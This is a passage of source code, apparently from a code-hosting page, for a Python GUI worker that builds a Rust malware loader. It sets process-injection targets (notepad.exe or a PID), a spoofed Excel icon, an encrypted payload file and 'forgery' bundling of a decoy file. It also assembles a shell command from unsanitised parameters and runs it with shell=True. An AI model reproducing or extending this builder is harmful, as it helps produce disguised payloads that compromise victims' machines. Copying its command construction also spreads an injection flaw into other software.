(self)
| 67 | self.progress_signal.emit(40) |
| 68 | |
| 69 | def _build_rust_project(self): |
| 70 | self.log_signal.emit('Building Rust project...') |
| 71 | |
| 72 | self.target = self.params.get('target', 'x86_64-pc-windows-msvc') |
| 73 | |
| 74 | features = self._build_features_list() |
| 75 | features_str = ','.join(features) |
| 76 | |
| 77 | self.log_signal.emit(f'Features enabled for this build: {features_str}') |
| 78 | self.log_signal.emit(f'Build target: {self.target}') |
| 79 | |
| 80 | manifest = load_plugins_manifest() |
| 81 | run_modes = manifest['run_modes'] |
| 82 | run_mode_id = self.params['run_mode'] |
| 83 | pattern = 1 |
| 84 | for rm in run_modes: |
| 85 | if rm['id'] == run_mode_id: |
| 86 | pattern = rm.get('pattern', 1) |
| 87 | break |
| 88 | |
| 89 | env_vars = {} |
| 90 | if pattern == 2: |
| 91 | env_vars['RSL_TARGET_PROGRAM'] = self.params.get('target_program', r'notepad.exe') |
| 92 | elif pattern == 3: |
| 93 | env_vars['RSL_TARGET_PID'] = self.params.get('target_pid', '0') |
| 94 | |
| 95 | env_vars['RSL_ICON_PATH'] = self.params.get('icon_path', 'icons/excel.ico') |
| 96 | |
| 97 | if self.params.get('load_payload_mode') == 'cmdline': |
| 98 | default_address = self.params.get('default_payload_address', 'encrypt.bin') |
| 99 | if default_address.strip(): # Ensure not empty |
| 100 | env_vars['RSL_DEFAULT_PAYLOAD_ADDRESS'] = default_address |
| 101 | |
| 102 | if self.params.get('forgery_enable'): |
| 103 | bundle_file = self.params.get('bundle_file', '') |
| 104 | if not bundle_file: |
| 105 | raise ValueError('File bundling is enabled, but no bundle file was selected!') |
| 106 | env_vars['RSL_BUNDLE_FILE'] = bundle_file |
| 107 | env_vars['RSL_BUNDLE_FILENAME'] = os.path.basename(bundle_file) |
| 108 | |
| 109 | env_cmd_parts = [] |
| 110 | for key, value in env_vars.items(): |
| 111 | env_cmd_parts.append(f'set "{key}={value}" && ') |
| 112 | |
| 113 | build_cmd_str = ' '.join([ |
| 114 | 'cargo', 'build', '--release', |
| 115 | '--no-default-features', |
| 116 | '--target', self.target, |
| 117 | f'--features={features_str}' |
| 118 | ]) |
| 119 | |
| 120 | full_cmd = ''.join(env_cmd_parts) + build_cmd_str |
| 121 | |
| 122 | result = subprocess.run(full_cmd, shell=True, capture_output=True, text=True, encoding='utf-8', errors='ignore') |
| 123 | self.log_signal.emit(result.stdout) |
| 124 | if result.stderr: |
| 125 | self.log_signal.emit(result.stderr) |
| 126 |
no test coverage detected